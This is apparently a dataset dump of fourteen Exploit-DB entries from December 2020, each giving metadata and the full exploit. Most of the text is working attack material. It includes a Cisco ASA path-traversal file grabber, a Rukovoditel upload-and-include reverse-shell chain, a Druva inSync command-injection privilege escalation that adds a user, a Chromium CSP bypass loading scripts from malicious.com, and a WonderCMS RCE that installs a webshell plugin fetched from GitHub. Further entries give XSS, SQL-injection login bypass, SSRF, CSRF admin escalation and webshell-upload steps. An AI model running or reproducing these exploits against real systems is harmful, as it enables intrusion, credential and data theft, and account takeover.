QLWD/code_shield huggingface dataset:
标题: Cisco ASA 9.14.1.10 and FTD 6.6.0.1 - Path Traversal (2) EDB-ID: 49262 CVE: 2020-3452 类型: WEBAPPS 平台: HARDWARE 发布日期: 2020-12-15 漏洞利用脚本: # Exploit Title: Cisco ASA 9.14.1.10 and FTD 6.6.0.1 - Path Traversal (2)
# Date: 12 Dec 2020
# Exploit Author: Freakyclown@cygenta.co.uk
# Vendor Homepage: cisco.com
# Software Link: It’s against Hardware, specifically ASA’s and FTD’s
# Version: ASAs (from version 9.6 to 9.14.1.10) and FTD’s (versions 6.2.3 to 6.6.0.1)
# Tested on: exploit runs on Python3 on OSX and on Kali Linux against cisco ASA 9.14
# CVE : CVE-2020-3452
# Github : https://github.com/cygenta/CVE-2020-3452

import requests

# Written by freakyclown for @CygentaHQ
# Cisco ASA Path Traversal
# CVE-2020-3452
# Usage: CVE-2020-3452.py {target}"
# Example: CVE-2020-3452.py 192.168.0.12"
# Requires - Requests - pip3 install requests
#
# This tool takes advantage of the above cve and attempts to
# download files as listed below, it is suggested that you make
# a working folder for the outputfiles to avoid confusion if
# attacking mutliple ASA's

# set your target
target = input("Enter target IP/Url: ")


def grabstuff():
    for file in files:
        print("trying: ", file)

        #set request parameters
        params = (
            ('type', 'mst'),
            ('textdomain', '+CSCOE+/'+file),
            ('default-language', ''),
            ('lang', '../'),
        )

        # set the response to the result of the request, inputting in target and params and ignoring ssl cert problems
        response = requests.get('https://'+target+'/+CSCOT+/translation-table', params=params, verify=False)
        # write the file to the disk
        f = open(file,"w")
        f.write(response.text) 
        f.close()



# this is a list of files available to download, more will be added in time
# if anyone has a list of ASA files, I'd be happy to add here
files = {
"sess_update.html",
"blank.html",
"noportal.html",
"portal_ce.html",
"portal.html",
"logon_custom.css",
"svc.html",
"logo.gif",
"portal_inc.lua",
"nostcaccess.html",
"session.js",
"portal.js",
"portal_custom.css",
"running.conf",
"tlbrportal_forms.js",
"logon_forms.js",
"win.js",
"portal.css",
"lced.html",
"pluginlib.js",
"useralert.html",
"ping.html",
"app_index.html",
"shshimdo_url",
"session_password.html",
"relayjar.html",
"relayocx.html",
"color_picker.js",
"color_picker.html",
"cedhelp.html",
"cedmain.html",
"cedlogon.html",
"cedportal.html",
"portal_elements.html",
"commonspawn.js",
"common.js",
"appstart.js",
"relaymonjar.html",
"relaymonocx.html",
"cedsave.html",
"tunnel_linux.jnlp",
"ask.html",
"no_svc.html",
"preview.html",
"cedf.html",
"ced.html",
"logon_redirect.html",
"logout.html",
"tunnel_mac.jnlp",
"gp-gip.html",
"auth.html",
"wrong_url.html",
"logon.html"}


# obvious thing is obvious, try the things and barf if fail
try:
    grabstuff()
except Exception as err:
    print("Something went wrong sorry")
    print(err) URL: https://www.exploit-db.com/exploits/49262
标题: Rukovoditel 2.6.1 - RCE (1) EDB-ID: 49238 CVE: 2020-11819 类型: WEBAPPS 平台: PHP 发布日期: 2020-12-11 漏洞利用脚本: # Exploit Title: Rukovoditel 2.6.1 - RCE
# Date: 2020-06-11
# Exploit Author: coiffeur
# Write Up: https://therealcoiffeur.github.io/c1010
# Vendor Homepage: https://www.rukovoditel.net/
# Software Link: https://www.rukovoditel.net/download.php
# Version: v2.6.1
# CVE: CVE-2020-11819

set -e

function usage () {
    echo "NAME: Rukovoditel v2.6.1, RCE"
    echo "SYNOPSIS: ./rce_2.6.1.sh <BASE_URL> <SID>"
    echo "DESCRIPTION:"
    echo "Upload file test.php on the remote server and trigger the file using a LFI"
    echo "AUTHOR: coiffeur"
    exit
}

if [ "$#" -ne 2 ]; then
    usage
fi

BASE_URL=$1
SID=$2
echo "Setting target: $BASE_URL"
echo "Setting sid: $SID"

echo ""

echo "Extracting \$app_user['id']:"
APP_USER_ID=`curl -s "$BASE_URL/index.php?module=users/account" -H "Cookie: sid=$SID" | grep "validate_form&id=" | cut -d '=' -f 3 | cut -d "'" -f 1`
echo "  =>  \$app_user['id']: $APP_USER_ID"

echo "Setting arbitrary \$_POST['timestamp']:"
TIMESTAMP=1337
echo "  =>  \$_POST['timestamp']: 1337"

echo "Calculating \$verifyToken:"
VERIFY_TOKEN=`echo -n "$APP_USER_ID$TIMESTAMP" | md5sum | cut -d ' ' -f 1=`
echo "  =>  \$verifyToken: $VERIFY_TOKEN"
echo ""

echo "[*] Trying to upload test.php ... (Arbitrary File Upload)"
curl "$BASE_URL/index.php?module=users/account&action=attachments_upload" -H "Cookie: sid=$SID" -F "timestamp=$TIMESTAMP" -F "token=$VERIFY_TOKEN" -F 'Filedata=@test.php'

echo ""

echo "[*] Trying to recover time() output:"
TIME=$(date -d "`curl -si "$BASE_URL" | grep "Date:" | sed 's/Date: //'`"= +%s)
echo "  =>  timestamp: $TIME"

echo "[*] Trying to recover the generated filename:"=20
FILENAME=` echo -n $TIME"_test.php" | sha1sum | cut -d ' ' -f 1`
echo "  =>  filename: $FILENAME"

echo "[*] Trying to reconstructing full path:"
DATE=`date +"%Y/%m/%d"`
FULL_PATH=`echo -n "uploads/attachments/$DATE/$FILENAME"`
echo "  =>  full path: $FULL_PATH"

echo ""

echo "[!] Prepare a netcat listener by typing: nc -lvp 4444"

echo ""

echo "[*] Trying to update language settings  ... (Local File Inclusion)"
LANGUAGE="../../$FULL_PATH"
curl -s "$BASE_URL/index.php?module=users/account&action=update" -H "Cookie: sid=$SID" -d "fields[13]=$LANGUAGE"

echo "[*] Triggering reverse shell ..."
curl -s "$BASE_URL/index.php?module=users/account" -H "Cookie: sid=$SID="

echo "[*] Restoring default language settings"
curl -s "$BASE_URL/index.php?module=users/account&action=update" -H "Cookie: sid=$SID" -d "fields[13]=english.php"
echo "> Done" URL: https://www.exploit-db.com/exploits/49238
标题: Druva inSync Windows Client 6.6.3 - Local Privilege Escalation (PowerShell) EDB-ID: 49211 CVE: 2020-5752 类型: LOCAL 平台: WINDOWS 发布日期: 2020-12-07 漏洞利用脚本: # Exploit Title: Druva inSync Windows Client 6.6.3 - Local Privilege Escalation (PowerShell)
# Date: 2020-12-03
# Exploit Author: 1F98D
# Original Author: Matteo Malvica
# Vendor Homepage: druva.com
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.6.3/inSync6.6.3r102156.msi
# Version: 6.6.3
# Tested on: Windows 10 (x64)
# CVE: CVE-2020-5752
# References: https://www.matteomalvica.com/blog/2020/05/21/lpe-path-traversal/
# Druva inSync exposes an RPC service which is vulnerable to a command injection attack.

$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command) URL: https://www.exploit-db.com/exploits/49211
标题: Chromium 83 - Full CSP Bypass EDB-ID: 49195 CVE: 2020-6519 类型: LOCAL 平台: MULTIPLE 发布日期: 2020-12-04 漏洞利用脚本: #Title: Chromium 83 - Full CSP Bypass
#Date: 02/09/2020
#Exploit Author: Gal Weizman
#Vendor Homepage: https://www.chromium.org/ 
#Software Link: https://download-chromium.appspot.com/
#Version: 83
#Tested On: Mac OS, Windows, iPhone, Android
#CVE: CVE-2020-6519

(function(){

  var payload = `
   top.SUCCESS = true;
   var o = document.createElement("object");
   o.data = \`http://malicious.com/bypass-object-src.html\`;
   document.body.appendChild(o);
   var i = document.createElement("iframe");
   i.src = \`http://malicious.com/bypass-child-src.html\`;
   document.body.appendChild(i);
   var s = document.createElement("script");
   s.src = \`http://malicious.com/bypass-script-src.js\`;
   document.body.appendChild(s);
  `;

  document.body.innerHTML+="<iframe id='XXX' src='javascript:" + payload +"'></iframe>";
  setTimeout(() => {
    if (!top.SUCCESS) {
      XXX.contentWindow.eval(payload);
    }
  });

}())

// further information: https://github.com/weizman/CVE-2020-6519 URL: https://www.exploit-db.com/exploits/49195
标题: Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated) EDB-ID: 49189 CVE: 2020-28976 2020-28977 2020-28978 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2020-12-04 漏洞利用脚本: # Exploit Title: Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated)
# Date: 03/12/2020
# Exploit Author: Pankaj Verma (_p4nk4j)
# Vendor Homepage: https://www.canto.com/integrations/wordpress/
# Software Link: https://github.com/CantoDAM/Canto-Wordpress-Plugin
# Version: 1.3.0
# Tested on: Ubuntu 18.04
# CVE: CVE-2020-28976, CVE-2020-28977, CVE-2020-28978


Description:-
The Canto plugin 1.3.0 for WordPress contains Blind SSRF Vulnerabilities.
It allows an unauthenticated attacker to make a request to any Internal and External Server via "subdomain" parameter.

Vulnerable Parameters and Endpoints:-
https://target/wp-content/plugins/canto/includes/lib/detail.php?subdomain=
https://target/wp-content/plugins/canto/includes/lib/get.php?subdomain=
https://target/wp-content/plugins/canto/includes/lib/tree.php?subdomain=

Steps To Reproduce:-
1. Start a Netcat Listener on any port For e.g. 4499
2. Navigate to "<wordpress_server>/wp-content/plugins/canto/includes/lib/detail.php?subdomain="
3. Add the Attacker's IP and Port For e.g. "172.17.0.1:4499?" to "subdomain=" parameter.
4. Observe the response we got from the Target on Attacker's Listener.

Note:- Using "?" in the payload is mandatory as it acts as a bypass to conduct this attack. URL: https://www.exploit-db.com/exploits/49189
标题: Invision Community 4.5.4 - 'Field Name' Stored Cross-Site Scripting EDB-ID: 49188 CVE: 2020-29477 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2020-12-03 漏洞利用脚本: # Exploit Title: Invision Community 4.5.4 - 'Field Name' Stored Cross-Site Scripting 
# Date: 02-12-2020
# Exploit Author: Hemant Patidar (HemantSolo)
# Vendor Homepage: https://invisioncommunity.com/
# Software Link: https://invisioncommunity.com/buy
# Version: 4.5.4
# Tested on: Windows 10/Kali Linux
# CVE:  CVE-2020-29477

Vulnerable Parameters: Profile - Field Name.

Steps-To-Reproduce:
1. Go to the Invision Community admin page.
2. Now go to the Members - MEMBER SETTINGS - Profiles.
3. Now click on Add Profile field.
4. Put the below payload in Field Name:
"<script>alert(123)</script>"
5. Now click on Save button.
6. The XSS will be triggered.


POST /admin/?app=core&module=membersettings&controller=profiles&tab=profilefields&subnode=1&do=form&parent=3&ajaxValidate=1 HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Length: 660
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://127.0.0.1/admin/?app=core&module=membersettings&controller=profiles
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7,ru;q=0.6
Cookie: XYZ

form_new_activeTab=&form_new_submitted=1&csrfKey=3ffc7a5774ddc0d2a7142d2072191efc&MAX_FILE_SIZE=20971520&pf_title%5B1%5D=%3Cscript%3Ealert(123)%3C%2Fscript%3E&pf_desc%5B1%5D=Test&pf_group_id=3&pf_type=Text&pf_allow_attachments=0&pf_allow_attachments_checkbox=1&pf_content%5B0%5D=&pf_multiple=0&pf_max_input=0&pf_input_format=&pf_member_edit=0&pf_member_edit_checkbox=1&radio_pf_member_hide__empty=1&pf_member_hide=all&radio_pf_topic_hide__empty=1&pf_topic_hide=hide&pf_search_type=loose&pf_search_type_on_off=exact&radio_pf_profile_format__empty=1&pf_profile_format=default&pf_profile_format_custom=&radio_pf_format__empty=1&pf_format=default&pf_format_custom= URL: https://www.exploit-db.com/exploits/49188
标题: Anuko Time Tracker 1.19.23.5311 - Password Reset leading to Account Takeover EDB-ID: 49174 CVE: 2020-27422 类型: WEBAPPS 平台: PHP 发布日期: 2020-12-02 漏洞利用脚本: #Exploit Title: Anuko Time Tracker 1.19.23.5311 - Password Reset Vulnerability leading to Account Takeover
#Date: 2020-11-11
#Exploit Author: Mufaddal Masalawala
#Vendor Homepage: https://www.anuko.com/
#Software Link: https://www.anuko.com/time-tracker/index.htm
#Version: 1.19.23.5311
#Tested on: Kali Linux 2020.3
#CVE: CVE-2020-27422
#Proof Of Concept:
In Anuko Time Tracker v1.19.23.5311 and prior, the password reset link
emailed to the user doesn't expire once used, hence the attacker could use
the same link to take over the victim's account. An Attacker needs to have
the link for successful exploitation. A malicious user could use the same
password reset link of the victim multiple times to take over the account.
To exploit this vulnerability:

   1. Goto 'Password Reset' module and enter any user's login name
   2. Reset the password using the password reset link received in the email
   3. Use the same link again after resetting the password once
   4. Password is changed again using the previously used link. URL: https://www.exploit-db.com/exploits/49174
标题: Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality EDB-ID: 49173 CVE: 2020-27423 类型: WEBAPPS 平台: PHP 发布日期: 2020-12-02 漏洞利用脚本: #Exploit Title: Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality
#Date: 2020-11-11
#Exploit Author: Mufaddal Masalawala
#Vendor Homepage: https://www.anuko.com/
#Software Link: https://www.anuko.com/time-tracker/index.htm
#Version: 1.19.23.5311
#Tested on: Kali Linux 2020.3
#CVE: CVE-2020-27423
#Proof Of Concept:
Anuko Time Tracker v1.19.23.5311 and prior, lacks rate limit on the
password reset module which allows attackers to perform Denial of Service
attack on any legitimate user's mailbox. Attacker could perform Denial of
Service on a legitimate user's mailbox
To exploit this vulnerability:

   1. Goto 'Password Reset' module and enter any user's login name
   2. Click on 'Reset Password' and capture this request.
   3. Replay this request n number of times.
   4. The victim receives a password reset email the number of times the
   request is replayed. URL: https://www.exploit-db.com/exploits/49173
标题: Local Service Search Engine Management System 1.0 - SQLi Authentication Bypass EDB-ID: 49163 CVE: 2021-3278 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2020-12-02 漏洞利用脚本: # Exploit Title: Local Service Search Engine Management System 1.0 - SQLi Authentication Bypass
# Date: 21/11/2020
# Exploit Author: Aditya Wakhlu
# Vendor Homepage: https://www.sourcecodester.com/php/14607/local-service-search-engine-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lssems.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4
# CVE: CVE-2021-3278

Step 1: Open the URL http://localhost:8080/lssems/admin/login.php
Step 2: use payload Aditya' or 1=1# in user and password field

Malicious Request:::

POST /lssems/admin/ajax.php?action=login HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/lssems/admin/login.php
Cookie: PHPSESSID=mpqu31slfcd7fjc89gm9veb1o3

username=Aditya'+or+1%3D1%23&password=Aditya'+or+1%3D1%23 URL: https://www.exploit-db.com/exploits/49163
标题: Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Add Artwork EDB-ID: 49166 CVE: 2020-28688 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2020-12-02 漏洞利用脚本: # Exploit Title: Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated)
# Date: November 17th, 2020
# Exploit Author: Shahrukh Iqbal Mirza (@shahrukhiqbal24)
# Vendor Homepage: Source Code & Projects (https://code-projects.org)
# Software Link: https://download.code-projects.org/details/9dfede24-03cc-42a8-b319-f666757ac7cf
# Version: 1.0
# Tested On: Windows 10 (XAMPP Server)
# CVE: CVE-2020-28688
---------------------
Proof of Concept:
---------------------
1. Authenticate as a user (or signup as an artist)
2. Click the drop down for your username and go to My ART+BAY
3. Click on My Artworks > My Available Artworks > Add an Artwork
4. Click on any type of artwork and instead of the picture, upload your php-shell > click on upload
5. Find your shell at 'http://<ip>/<base_url>/pictures/arts/<shell.php>' and get command execution URL: https://www.exploit-db.com/exploits/49166
标题: WonderCMS 3.1.3 - 'Menu' Persistent Cross-Site Scripting EDB-ID: 49164 CVE: 2020-29469 类型: WEBAPPS 平台: PHP 发布日期: 2020-12-02 漏洞利用脚本: # Exploit Title: WonderCMS 3.1.3 - 'menu' Persistent Cross-Site Scripting
# Date: 20-11-2020
# Exploit Author: Hemant Patidar (HemantSolo)
# Vendor Homepage: https://www.wondercms.com/
# Version: 3.1.3
# Tested on: Windows 10/Kali Linux
# Contact: https://www.linkedin.com/in/hemantsolo/
# CVE: CVE-2020-29469

Attack vector:
This vulnerability can results attacker to inject the XSS payload in the Setting - Menu and each time any user will visits the website directory, the XSS triggers and attacker can able to steal the cookie according to the crafted payload.

Vulnerable Parameters: Menu.

Steps-To-Reproduce:
1. Go to the Simple website builder.
2. Put this payload in Menu: "hemantsolo"><img src=x onerror=confirm(1)>"
3. Now go to the website and the XSS will be triggered.

GET /demo/hemantsolo-img-src-x-onerror-confirm-1 HTTP/1.1
Host: 127.0.0.1
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: 127.0.0.1/demo/hemantsolo-img-src-x-onerror-confirm-1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7,ru;q=0.6
Cookie: PHPSESSID=31ce0448562cc182b5173a300a923b93 URL: https://www.exploit-db.com/exploits/49164
标题: Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile EDB-ID: 49167 CVE: 2020-28687 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2020-12-02 漏洞利用脚本: # Exploit Title: Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile
# Date: November 17th, 2020
# Exploit Author: Shahrukh Iqbal Mirza (@shahrukhiqbal24)
# Vendor Homepage: Source Code & Projects (https://code-projects.org)
# Software Link:  https://download.code-projects.org/details/9dfede24-03cc-42a8-b319-f666757ac7cf
# Version: 1.0
# Tested On: Windows 10 (XAMPP Server)
# CVE: CVE-2020-28687
--------------------
Proof of Concept:
--------------------
1. Authenticate as a user (or signup as an artist)
2. Go to edit profile
3. Upload a php-shell as profile picture and click update/save
4. Find your shell at 'http://<ip>/<base_url>/pictures/profile/<shell.php>' and get command execution URL: https://www.exploit-db.com/exploits/49167
标题: PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS EDB-ID: 49156 CVE: 2020-14073 类型: WEBAPPS 平台: WINDOWS 发布日期: 2020-12-02 漏洞利用脚本: # Exploit Title: PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS
# Date: 2/12/2020
# Exploit Author: Amin Rawah
# Vendor Homepage: https://www.paessler.com/prtg
# Software Link: https://www.paessler.com/prtg
# Version: 20.4.63.1412 x64
# Tested on: Windows 
# CVE : CVE-2020-14073

Description:
Since there is a stored XSS affecting 'maps' in the system, a malicious user can escalte his/her privilege to PRTG Administrator.

Steps:
1- Login to PRTG system and view source code (currentUserId)
2- Create a map, add an element, double click the element and modify the HTML section 'HTML After'
3- In 'HTML After' add the following code:
 <form action="http://<PRTG_SERVER>:8081/editsettings" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="name&#95;" value="PRTG&#32;Administrators" />
      <input type="hidden" name="defaulthome&#95;" value="&#47;welcome&#46;htm" />
      <input type="hidden" name="isadgroup" value="0" />
      <input type="hidden" name="adusertype&#95;" value="0" />
      <input type="hidden" name="aduserack&#95;" value="0" />
      <input type="hidden" name="users&#95;" value="1" />
      <input type="hidden" name="users&#95;" value="1" />
      <input type="hidden" name="users&#95;&#95;check" value="<currentUserId>&#124;<YOUR_USERNAME>&#124;" />
      <input type="hidden" name="users&#95;&#95;check" value="100&#124;PRTG&#32;System&#32;Administrator&#124;" />
      <input type="hidden" name="id" value="200" />
      <input type="hidden" name="targeturl" value="&#47;systemsetup&#46;htm&#63;tabid&#61;6" />
      <input type="submit" value="Submit request" />
    </form>
    <svg/onload='document.forms[0].submit()'/>  
4- Save and share the link with PRTG Administrator.
5- Login with the highest privilege. URL: https://www.exploit-db.com/exploits/49156
标题: WonderCMS 3.1.3 - Authenticated Remote Code Execution EDB-ID: 49155 CVE: 2020-35314 类型: WEBAPPS 平台: PHP 发布日期: 2020-12-02 漏洞利用脚本: # Exploit Title: WonderCMS 3.1.3 - Authenticated Remote Code Execution
# Date: 2020-11-27
# Exploit Author: zetc0de
# Vendor Homepage: https://www.wondercms.com/
# Software Link: https://github.com/robiso/wondercms/releases/download/3.1.3/WonderCMS-3.1.3.zip
# Version: 3.1.3
# Tested on: Ubuntu 16.04
# CVE : CVE-2020-35314


# WonderCMS is vulnerable to Authenticated Remote Code Execution.
# In order to exploit the vulnerability, an attacker must have a valid authenticated session on the CMS.
# Using the theme/plugin installer attacker can install crafted plugin that contain a webshell and get RCE.

# python3 exploit.py http://wonder.com/loginURL GpIyq0RH 
# -------------
# [+] Getting Token
# [+] Sending Payload
# [+] Get the shell
# [+] Enjoy!
# $id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

import requests
import sys
import re
from bs4 import BeautifulSoup
from termcolor import colored


print(colored('''

\ \      /_ \  \ | _ \ __| _ \  __|  \  |  __| 
 \ \ \  /(   |.  | |  |_|    / (    |\/ |\__ \ 
  \_/\_/\___/_|\_|___/___|_|_\\___|_|  _|____/ 
                                               
------[ Auth Remote Code Execution ]------
 ''',"blue"))

if len(sys.argv) != 3:
    print(colored("[-] Usage : ./wonder.py loginURL password","red"))
    exit()

loginURL = sys.argv[1]
password = sys.argv[2]

r = requests.session()
data = { "password" : password }
page = r.post(loginURL,data)
if "Wrong" in page.text:
 print(colored("[!] Exploit Failed : Wrong Credential","red"))
 exit()

print(colored("[+] Getting Token","blue"))
soup = BeautifulSoup(page.text, "html.parser")

allscript  = soup.find_all("script")
no = 0
for i in allscript:
 if "rootURL" in str(i):
  url = i.string.split("=")[1].replace('"','').strip(";").lstrip(" ")
 elif "token" in str(i):
  token = i.string.split("=")[1].replace('"','').strip(";").lstrip(" ")

payload = "https://github.com/zetc0de/wonderplugin/archive/master.zip"

def sendPayload(req,url,payload,token):
 getShell = url + "?installThemePlugin=" + payload + "&type=plugins&token=" + token
 req.get(getShell)
 shell = url + "plugins/wonderplugin/evil.php"
 checkshell = req.get(shell)
 if "1337" in checkshell.text:
  return True
 else:
  return False

print(colored("[+] Sending Payload","blue"))
shell = sendPayload(r,url,payload,token)


if shell == True:
 print(colored("[+] Get the shell","blue"))
 print(colored("[+] Enjoy!","blue"))
 shell = url + "plugins/wonderplugin/evil.php"
 while True:
  cmd = input("$")
  data = { "cmd" : cmd }

  res = r.post(shell,data)
  if res.status_code == 200:
   print(res.text)
elif shell == False:
 print(colored("[+] Get the shell","blue"))
 print(colored("[+] Enjoy!","blue"))
 shell = url + "plugins/wonderplugin-master/evil.php"
 while True:
  cmd = input("$")
  data = { "cmd" : cmd }
  res = r.post(shell,data)
  if res.status_code == 200:
   print(res.text)
else:
 print(colored("[!] Failed to exploit","red")) URL: https://www.exploit-db.com/exploits/49155